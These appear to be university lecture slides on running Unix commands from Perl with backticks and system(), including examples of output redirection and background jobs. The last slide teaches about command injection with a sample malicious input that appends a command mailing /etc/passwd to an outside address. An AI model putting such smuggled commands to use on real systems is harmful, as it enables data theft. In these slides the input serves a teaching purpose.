COMP 2021

Unix and Script Programming

Perl Process Management

Process Management

- As a scripting language Perl provides the ability to run programs inside a Perl script.
  - For example I could run a "ls" command inside of Perl, process the output, and print my own version of it
- You do this using
  - backtick operator
  - `system()`

Backtick

- Simplest way of executing any Unix command
- When used in a list context, returns a list of strings, each one being a line (terminated in a newline)

```
$cat process_ls.pl
#!/usr/local/bin/perl5 -w

@files = `ls -l`;
$num = 0;
foreach my $file (@files){
        $num++;
        print "line $num: $file";
}
```

`system`

- You can also use `system` function to execute any Unix command
- Output of `system` goes to the output of the Perl script. By default it is the screen, i.e. STDOUT.
- You can redirect output to any file by redirection.
- the `system` function returns `0` if the command completed successfully.

System Example

```
$ cat process_system1.pl
#!/usr/local/bin/perl5 -w
system("date");
$ process_system1.pl
Fri Mar 29 14:30:03 HKT 2014

$ cat process_system2.pl
#!/usr/local/bin/perl5 -w
if(system("date > now")){
      die "cannot create file now";
}
$ process_system2.pl
$ cat now
Fri Mar 29 14:30:03 HKT 2014
$
```

System Example

- system allows multiple commands, separated by semicolons.
- Processes that end in & are run as background jobs (Perl continues and does not wait for the job to finish).

```
$ cat process_system3.pl
#!/usr/local/bin/perl5 -w
$where = "now";    # Perl variable, not shell variable
system "(date; who) > $where &";
$ process_system3.pl
$ cat now
Fri Mar 29 14:58:56 HKT 2014
cindy pts/0 Mar 29 14:28 (csz096.cs.ust.hk)
$
```

Variable Interpolation

- In the previous example, `$where` is replaced with its value (by Perl, not the shell).
- If you want to reference a shell variable named `$where`, you need to put a backslash in front of the dollar sign.
- The invoked shell command will inherit the current working directory from the Perl program.

System: a list of arguments

```
#-- calling 'command' with arguments
system("command arg1 arg2 arg3");

#-- better way of calling the same command
system("command", "arg1", "arg2", "arg3");
```

- Accept the parameter of `cmd` from an untrusted source:

```
my $param = get_from_a_web_form();
my $cmd = "cmd $param";
system($cmd);
```

- If a malicious user give

```
$param = xxx; mail badguy@mail.com < /etc/passwd
```

- Then the shell will execute 2 commands:
- `cmd xxx` (as you intended)
- `mail badguy@mail.com < /etc/passwd` (which is not good)